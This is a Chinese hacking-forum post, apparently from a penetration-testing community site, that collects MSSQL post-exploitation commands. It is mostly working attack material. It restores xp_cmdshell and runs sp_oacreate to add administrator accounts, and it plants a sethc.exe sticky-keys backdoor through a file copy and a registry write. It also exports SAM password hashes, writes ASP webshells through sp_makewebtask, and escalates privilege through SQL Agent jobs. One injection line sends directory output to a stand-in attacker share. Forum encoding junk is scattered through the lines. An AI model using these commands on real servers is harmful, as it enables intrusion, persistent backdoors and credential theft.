中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号- K# X# }' G2 t1 v' t
恢复方法:查询分离器连接后,- v* P! ]. _2 P1 {. T
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
9 i$ @& K' U0 B5 k7 [9 S# T$ W4 E第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
: P' _) @! @! r/ F; N6 Y, @; Q+ p然后按F5键命令执行完毕
# p- M7 A+ p' c
& [* i2 z5 |: W: C2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
% u3 \- C& x: ^恢复方法:查询分离器连接后,
/ ^1 q* H+ B6 `% N第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
; [3 A2 Q$ Z, R$ z8 a! S第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'# t. v0 ]! ^6 H' R/ k% y
然后按F5键命令执行完毕4 U5 a+ [/ Q, f6 J  P7 a

: Z5 r1 M3 ~+ x* |3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。). i4 V6 I+ A. e& R, a6 C+ ]
恢复方法:查询分离器连接后,# V- j# [4 p6 W  |
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
$ {4 `) H- G' C+ r第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
- L% u) p( E( E/ r% E8 Y然后按F5键命令执行完毕
/ |, D3 `% }# F* z6 E
0 W/ n% |4 t7 O1 D4 终极方法.! Q$ [1 I, p9 g& }6 ?4 t: P
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
" u1 z/ i8 d/ l' w查询分离器连接后,  c9 Q& l$ M. i9 y) t  ?% @
2000servser系统:! A2 j3 n0 B/ m% \# e. l
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'; ]1 a( d! o+ q2 \3 E. X% p( z

3 q3 |0 `: g% K" p  y5 Zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
% ?1 O9 v7 b( M
1 B# h  `% m! ?5 @: y  I8 K# l" zxp或2003server系统:
5 K" a0 G* h- G! I/ N) b
( ~1 G& D1 a" E3 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
( c  _5 u: H0 J0 F
" X0 R% d1 I8 A  x( D  I1 i0 Bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
' l  G; @9 G' b. a! b0 b1 p8 e% q' x1 x$ H1 e$ D
3 I/ ?; I, D, m7 v
五个SHIFT
9 o0 K1 _+ T' a( v" udeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';- I6 R$ l, u  r8 g2 r

0 B' @8 \# Z1 D" O; Ndeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
0 l6 I2 n$ N2 ~# f5 m
) r$ e% c& \2 o( [& C# f# @3 ]xp_cmdshell执行命令另一种方法
( D" T: P" ^  Z! o0 Ddeclare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 1 y+ g/ I# w( T) d& j

* w7 R3 r3 a- s判断存储扩展是否存在3 g! U; X' C' O! O1 O/ P$ H' t' `
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'2 ?# U% }0 i9 P# s. Y$ r5 H8 s
返回结果为1就OK
7 z: ]/ s/ H, Q& z7 H) ~$ _6 o6 S, W+ I0 _

4 X/ X5 e' V3 }7 }& a0 y" g上传xplog70.dll恢复xp_cmdshell语句:
8 X- |( A5 P$ ^, ^sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
5 Q9 N# a0 K( N" _+ S5 O! v+ i1 I$ {2 o" |8 [; J) u5 V0 R8 G5 I
否则上传xplog7.0.dll% `/ s" z2 n& D0 m
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'8 @# H1 x/ V; |% a2 P
, l: Q% s0 k# O# l% I
# n4 y$ c# o: x" h/ ~

- K8 y& ?' V$ c0 ?+ X: g- o, e( V首先开启沙盘模式:
6 ~2 K8 P1 w( a+ u# j+ Q( Jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
' `: p2 l3 [+ [8 V
$ q- @, \6 z/ l# f" _5 M然后利用jet.oledb执行系统命令
3 o* C4 _0 p5 T$ ~5 \select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
2 I8 a) W# W% G" j返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
: D0 E$ c5 H: G) v/ q" |7 U8 w, y; ?' E& Q! j1 z

2 Z5 e9 g+ B+ d% W; P5 b' f+ B. {; \7 s* ?! N- m
恢复过程sp_addextendedproc 如下:
+ Z. p& i+ b8 D: v* m* ycreate procedure sp_addextendedproc --- 1996/08/30 20:13
$ M5 f, i8 F* c9 r, `@functname nvarchar(517),/* (owner.)name of function to call */
8 _& b. E6 h! e* x0 N( J* b@dllname varchar(255)/* name of DLL containing function */
% ]" q. Q) S5 |- ?as
  j) J9 ^# p8 G0 tset implicit_transactions off ; K0 R  a7 O! z+ V
if @@trancount > 0
6 w, O/ K& f; o# G- E+ qbegin - c, g0 L: K& M- U6 p, Y$ B) A
raiserror(15002,-1,-1,'sp_addextendedproc')
2 \% w' w* `. X2 areturn (1)
2 W$ L+ G. d/ C" }4 Z- T& }1 a$ k& Gend * |5 C9 q1 A/ v& z
dbcc addextendedproc( @functname, @dllname) - [5 j% T; j  Z  k
return (0) -- sp_addextendedproc 3 n; f/ e3 {* _9 {
GO 4 @8 Q# _; M% O* G4 e4 v, _8 s

% G0 B6 O$ Y# F/ n2 b+ f7 f6 X) i/ R- f  q! t% T7 j

0 P: P% P: Q' W# v$ B导出管理员密码文件; {) y( a4 x' i  N2 j
sa默认可以读sam键.应该。
7 r/ H, U0 L+ |reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
9 u, M% a, W: G) t$ ~' L* A  dnet user administrator test
, X; A1 q( i  x# T# I: m用administrator登陆.8 W7 {& E5 {0 w! ^
用完机器后
3 D, Y0 e7 s, Y0 J/ v0 E1 Treg import c:\test.reg
9 P/ a0 Z# z/ D. M; O3 {根本不用克隆.
4 a/ K+ |" F7 W2 j9 t: {找到对应的sid. 6 N) T3 |- o  ?

4 v. O5 _0 z4 [8 W9 j; V0 K( J; c1 x% V6 U9 S  `1 j  I

  n( F5 Q; t5 I* ~6 m恢复所有存储过程; d1 O2 d# g1 ]% q1 x1 [" y- e' q3 S
use master , p1 c3 N, f& q4 D2 w
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' ! R/ M; k2 a, o) @, w% |. i) E- ?9 L& z
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
/ x; c' e3 Z; M% m, oexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
9 s  O& A4 T9 O) t" Y- }exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
' Q0 G* G7 x, X; ~! I7 Jexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
8 G1 C1 D2 u( E" j7 ~. Wexec sp_addextendedproc sp_OACreate,'odsole70.dll' ' O. d. ?* b. t7 `2 F
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
0 h. T$ R4 B) s) ^2 o* [exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
' P0 X# d, M- [exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' . e3 G/ u# T/ ]' O/ D
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' ! I( j1 h  @+ R0 c, u; J
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ) w& T% Z- i1 m5 Q0 r+ L
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ( m( Z* x- [5 Z, l$ }
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
+ X' G: n' t) {exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
; A) x) K1 o, Y+ F2 Mexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
# L8 f3 W! d; @  R" vexec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
$ P( @7 x# C  f4 |' _, gexec sp_addextendedproc xp_regread,'xpstar.dll' - P6 v* J+ s" |9 }
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 6 F% O8 f: s/ J6 E( N% y
exec sp_addextendedproc xp_regwrite,'xpstar.dll' ' E4 v8 w: ]9 K* D% B9 B
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'7 N' W  [9 N* S+ \
  ~1 K$ r9 Z8 k# U* T9 B

" Y9 D- U0 q7 n$ ^建立读文件的存储过程8 d+ t( v' X3 \
Create proc sp_readTextFile @filename sysname$ b/ Q, I5 `$ C+ m% e. N% W: y! X$ Y2 v0 i
as! u0 f  `! D/ A2 V% l* d2 _+ K! E. W: G

- r% q9 I1 |1 b  X    begin 8 f- c5 e. w- J! u8 F5 x' F8 p
    set nocount on $ W) G) T* w, x& E4 k9 p1 n! ]
    Create table #tempfile (line varchar(8000))
2 g$ K; \7 s4 Y- X) c    exec ('bulk insert #tempfile from "' + @filename + '"')
3 D' {; r4 D1 e5 L9 C9 i& [    select * from #tempfile
( c' Q# Y5 J7 U3 }+ [7 }) D. @    drop table #tempfile  G0 g3 [, N6 `% e; ?* C  b
End
" P. F9 @" v& \* i( X8 r4 i+ C/ r/ Y8 r) `% Q* F0 `, C
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
1 u1 e: a" f/ e* o查看登录用户
1 B3 T; b5 i4 Q4 zSelect * from sysxlogins" ~8 e: i. u# D) q- K

; `) ^, _, i' U! {! J1 v把文件内容读取到表中0 j, S; m* o" _: {  U% c0 U( ?3 a
BULK INSERT tmp from "c:\test.txt"; [  c; e* `; y
dElete from 表名 清理表里的内容) a! q- J" _5 `" P" T% k
create table b_test(fn nvarchar(4000));建一个表,字段为fn$ ^9 U1 s/ i: q6 u- z# w) y

6 F7 _: H) F2 r- l8 v( G6 M
5 ?& Q0 a. h4 ^7 m' E+ J加sa用户
( Y' R6 U! l- T# ]; Eexec master.dbo.sp_addlogin user,pass;
; t* A) n3 {9 B9 X: dexec master.dbo.sp_addsrvrolemember user,sysadmin
* N$ E# H+ X- @' \) b" K
* s: E# Q: m  S0 W, D
6 {+ O* s, N6 Y; A) J  @
; F0 L5 b) a8 K0 c" L读文件代码
. x& T5 ?7 i3 K% Gdeclare @o int, @f int, @t int, @ret int& M. [8 v- A$ O. |; I; ~( X: @
declare @line varchar(8000)# `+ X/ q* `: f: v& Q% D4 C
exec sp_oacreate 'scripting.filesystemobject', @o out  c' Q% M4 {/ N. o( u* ~0 @2 K
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1( v6 v+ \5 K5 q( o( y" h' T
exec @ret = sp_oamethod @f, 'readline', @line out
6 t: W( _  l" Q0 o! b( c; pwhile( @ret = 0 )! o5 _# M! p& M' Z1 B  f$ v
begin
* i. e3 S  o: V+ |1 y2 ^print @line
7 U) s# W% t' k% P7 |7 v  Sexec @ret = sp_oamethod @f, 'readline', @line out' h  k6 p2 S: z, ^# F8 ]8 }' S
end2 v/ n' H5 ^, a* G6 c& X
& T! \# D1 t) M- _9 {4 N4 V& ?

; q2 O$ ~5 Z' M/ X5 [+ k写文件代码:
( Y9 p: l3 @* k& Y3 I7 m) Udeclare @o int, @f int, @t int, @ret int! Z( N- I5 L6 Y4 F- p/ y
exec sp_oacreate 'scripting.filesystemobject', @o out
$ N3 c/ {, u: u5 D; U  xexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
# B. ^! H. V. j2 w2 rexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》# F. g7 O$ \5 w: l" T7 v, x
. C4 d/ }' H- S6 I& f

: @8 O: x% O6 q8 X; g添加lake2 shell$ D1 O- A5 X* S5 q9 B, z
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
/ q( k1 R+ ~" Fsp_dropextendedproc xp_lake2$ h9 i6 w$ s# |
EXEC xp_lake2 'net user'5 a7 Y+ L8 ~" {3 x& L
9 _7 X) n0 @7 @3 `# y# g/ \1 V% c
. g9 o! A, D  j( O9 P
得到硬盘文件信息 . b" x1 V2 T- A% }) @! H/ ?, C1 w
--参数说明:目录名,目录深度,是否显示文件 , p3 O7 |# Z$ d0 X9 z8 F3 h/ k! N
execute master..xp_dirtree 'c:'
; \% x4 @: \! Hexecute master..xp_dirtree 'c:',1
( [/ o$ f8 K5 S4 Texecute master..xp_dirtree 'c:',1,1
& w# R9 X% `( ]9 ?3 G+ Y
6 L2 A; m6 J2 r9 L' c/ p) N0 s2 r; q( F7 J
读serv-u配置信息
8 M* W" V' X0 K5 K$ T6 L) Nexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
9 t8 T8 f3 I* \+ o" c, Jexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
5 c: \2 ?8 n' g; f
; r# j3 ^  n+ T, n+ |5 K6 b0 U通过xp_regwrite写SHIFT后门
+ X" h5 Z2 o- D3 Eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
( ]$ ~, [) K+ }1 u# q3 `) P# w1 k; X: d$ V
7 }, S7 A, y, V9 `4 e
; e7 O# w! Z- v! Z
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';; N% d. t  \( t5 e
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
" ]! G4 Q0 m$ r8 h: g2 q7 c& F7 m, J8 n9 P( N% ]0 a5 |
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'% {7 R" a2 n( A7 }9 ^$ C% b5 T

. Q2 O8 r. g& ]6 k$ M  ?1 H
( y2 p7 y0 Y  D: A" f( z% p6 e' X+ D4 g3 n& K
sql server 2005下开启xp_cmdshell的办法% E; n5 O8 x" O2 k( F
7 K, E9 L- a8 z- G
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;0 W/ T! s2 `/ {. a3 x* s
: @9 M6 q0 r0 P5 u
SQL2005开启'OPENROWSET'支持的方法:
, y& z" v/ c* h# j
  d( l( F/ {1 H8 C2 m5 Oexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;1 P2 i* d- B( W3 u" \

& _9 S, ^# I$ mSQL2005开启'sp_oacreate'支持的方法:9 V* d  O3 m( E; N9 A; o
; y+ `  ~* n! x3 c; x
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
) j, I! h* H# B! h/ o! k$ a6 t0 \
& c1 R' @, l- L5 ~# ~: ~9 F7 H$ A! p6 u4 C
' w' z: D3 s. x3 N5 c( r
# ?* e  e4 w8 J3 _! X4 E- e- |6 U4 J

2 S+ V8 U: u4 `9 E5 Z
$ e! B7 N8 S" ~% O: h7 r7 ~% c/ d$ ^, j+ V0 C' c

7 [% T5 q9 f- H1 C/ ?
, E3 y9 U$ a" c
, W5 B# F3 C: P/ v8 q1 J" i$ x# D4 A+ G+ h; e' _" V

0 x' p2 n3 ?; \0 B+ X
+ b# G: a1 ^- f! X$ j3 j- ]; h( R0 B" `$ i  v# e6 Q4 ?

( k9 f2 v" U' I4 y% T" z* x1 D
6 a1 C( z: j( Y7 w7 h/ v
8 `/ w) h+ k  Q$ }3 N
. G8 d, s# @5 c$ y
2 b- o) Z) `# ^/ q' u% L& z% C2 ]( [! }( H, d
: e  a5 O9 D' _) p: A& _. E3 w" P
! `0 p# C5 u- w& x

5 y1 n/ R8 W# U5 J; `% }" d, [1 e8 m: x
以下方面不知道能不能成功暂且留下研究哈:
/ r; ~; Y5 z- r3 G. I" g; u4)
; j, N) G4 M! |: y  Xuse msdb; --这儿不要是master哟
' Y( T" K. x9 P! r* _3 N) Y6 {& [exec sp_add_job @job_name= czy82 ;
; @0 G3 {& ^6 K8 x, uexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
8 L) m+ y* ^% x* c. k5 d" Qexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;- q5 V. ?; S: {" L
exec sp_start_job @job_name= czy82 ;
- q% x2 s* u' K; t0 A' p# w- r( k  b; a3 l4 V
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以& c8 X& n7 _$ t: Y; E3 q9 }* x6 D
执行tsql语句了.
5 w- t! I' U# ]对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
! i  H) \* ~8 U3 y, k$ r) y第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
; X$ ~# D  h- _net start SQLSERVERAGENT8 }$ q$ }+ R) a
4 G, z! `. F/ ?6 o5 `2 O4 o! v
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的2 x- w. v8 T6 ]$ T
USE msdb( Z( }) `. K. Q) m. [( B% f
EXEC sp_add_job @job_name = GetSystemOnSQL ,( V7 J! B) f5 O: u
@enabled = 1,
" Z: {9 L1 X( z& g@description = This will give a low privileged user access to
% `* i7 V8 @: i+ Q, L# H. l, C9 d" jxp_cmdshell ,7 v& h# M, f9 X+ K; ]1 S
@delete_level = 1* Q2 I/ |9 H1 [' [
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,& v6 ^9 _+ D: F3 m( _3 @& o
@step_name = Exec my sql ,3 f: K2 n' i* Y* D( O
@subsystem = TSQL ,
7 f# \$ ~& @/ X- |. G0 H@command = exec master..xp_execresultset N select exec
6 F8 m7 t% \) r+ y" w' s) \master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
/ `( g( ~! O7 e( CEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
. }" X$ Z; h! y* J+ M$ g. |8 ?@server_name = 你的SQL的服务器名
7 |7 l. _) a7 o% T% p/ SEXEC sp_start_job @job_name = GetSystemOnSQL
' g' r, o! C$ L! O. ]5 J; C: ]& R
2 o/ _2 U3 D: a" c. _# b不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以5 p. t6 L3 F4 ^7 V1 }
才让我们可以以public执行xp_cmdshell& C1 m% d7 k5 C
3 B9 K8 c# M! R" y
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
0 A6 [* X* p! M6 D4 r5 ~6 h在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
6 g  G, z: X" r0 k5 B3 E* w8 E! I
USE msdb
5 s* Q0 f- q( N9 ^; C( X7 YEXEC sp_add_job @job_name = ArbitraryFilecreate ,# c# {2 U. J" z! X; m
@enabled = 1,
2 ^6 _' L  ]" Q@description = This will create a file called c:\sqlafc123.txt ,1 p+ w) Y/ U4 z( `7 H5 @; n
@delete_level = 1. L3 m0 e+ j' e" u" C
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,: A( Y% a. @) [- r
@step_name = SQLAFC ,5 U2 K1 {. i* f6 p* d" A
@subsystem = TSQL ,
& |* o1 _8 V& f! f@command = select hello, this file was created by the SQL Agent. ,
: ?& |5 ^9 U  C' G" g@output_file_name = c:\sqlafc123.txt " ~$ k& G: X' p: g6 K# [
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,5 |; ?* g& |2 m1 t5 k) Z' k5 H7 Z; m
@server_name = SERVER_NAME
; r8 c5 l/ h/ z) N! |EXEC sp_start_job @job_name = ArbitraryFilecreate : I; W9 z  T0 J1 v& X. ^2 |( u
' n) P  E$ S; M( _9 D+ z+ S' k% Q$ g: H
如果subsystem选的是:tsql,在生成的文件的头部有如下内容& Q$ S% ], \# f! w

( y8 m7 N9 }* e9 u- S: E??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:199 w( U" W0 c% s5 ^* F" B
----------------------------------------------9 ]4 {9 Y9 c8 O
hello, this file was created by the SQL Agent./ M2 j% o8 w0 g% ~- p9 x9 d1 S

( U# X  s2 `4 y(1 ?????)
1 I2 s* E4 z- Y. i. K$ B% {; w
( _& x* n. b2 B6 x8 v* p: a3 n所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
7 l4 h* ?" L2 h5 g; V: B命令的vbs文件到启动目录!
! @* O" ^8 |; z. h" T8 O5 t
. d" _! A% P7 C3 A, y6)关于sp_makewebtask(可以写任意内容任意文件名的文件)' y3 V5 ^5 J  {# G
关于sp_MScopyscriptfile 看下面的例子
9 o6 x" y9 ~, [" sdeclare @command varchar(100)
. J6 S3 P% F/ I6 m7 g' qdeclare @scripfile varchar(200) ; ~. m  k1 F- i) a$ L
set concat_null_yields_null off
: N7 j: l& e" j6 Dselect @command= dir c:\ > "\\attackerip\share\dir.txt" 0 x$ c, v, @! N, x' t1 S8 W
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
1 Y/ B& [) Y  J$ J- w5 iexec sp_MScopyscriptfile @scripfile ,
& A, k1 ]$ P5 s% \+ v/ p$ z( p6 ^
这两个东东都还在测试试哟
4 m4 k0 z7 w$ d2 u9 d. `% K让MSSQL的public用户得到一个本机的web shell
; R' e* G9 h; p, g' S0 |) n5 }& B9 t9 C9 I( c- P- c% t
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
4 \7 [/ K# A" D. K9 R--@query= select <img src=vbscript:msgbox(now())> 3 b" L9 l0 ]4 E+ `
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
: b" I8 L4 c# @@query= select 7 R+ [8 u/ d2 P! x' i. Y( D3 [
<%On Error Resume Next 2 X2 F: e* O3 M+ P- k
Set oscript = Server.createObject("wscript.SHELL")
) J) i" z8 l2 Y! H" q/ S; J$ ISet oscriptNet = Server.createObject("wscript.NETWORK")
( {  i' y  I% F! E9 p. ^' R  }Set oFileSys = Server.createObject("scripting.FileSystemObject")
) t0 L2 m' {9 v% ~9 s4 r* q4 lszCMD = Request.Form(".CMD") 8 T3 f! M6 a0 m; e  g8 _; R. N
If (szCMD <>"")Then
1 O% @- n/ q/ g$ }9 i; d6 zszTempFile = "C:\" & oFileSys.GetTempName()
& Y* V2 y2 |4 X/ y7 y2 c$ n( z* KCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
) I& X9 U1 a2 w' k) r  aSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
4 o/ D  Y/ M# j  IEnd If %> 9 f/ W! w: t- h" I( a% ^+ s
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
2 K+ V$ ^- X- ]  d- O; ?) `<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 4 i6 O& d: t* f% q) Y
</FORM><RE>
' }" d- ?& ], R+ V7 C" Z1 @<% If (IsObject(oFile))Then & o+ O0 Z% o8 e( G
On Error Resume Next 3 t! |. |# H  B& X
Response.Write Server.HTMLEncode(oFile.ReadAll) ( B2 V3 g" n7 i/ t. d. I3 b
oFile.Close ' L+ v: G5 B( y$ d- `4 S  S) D% z8 M0 ~
Call oFileSys.deleteFile(szTempFile, True)
6 W$ i3 m/ g$ U$ ^4 JEnd If%>
/ o& l5 v% ]! c) U</BODY></HTML>
5 A& y6 A  ?/ M* f- k; \! Z/ L




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2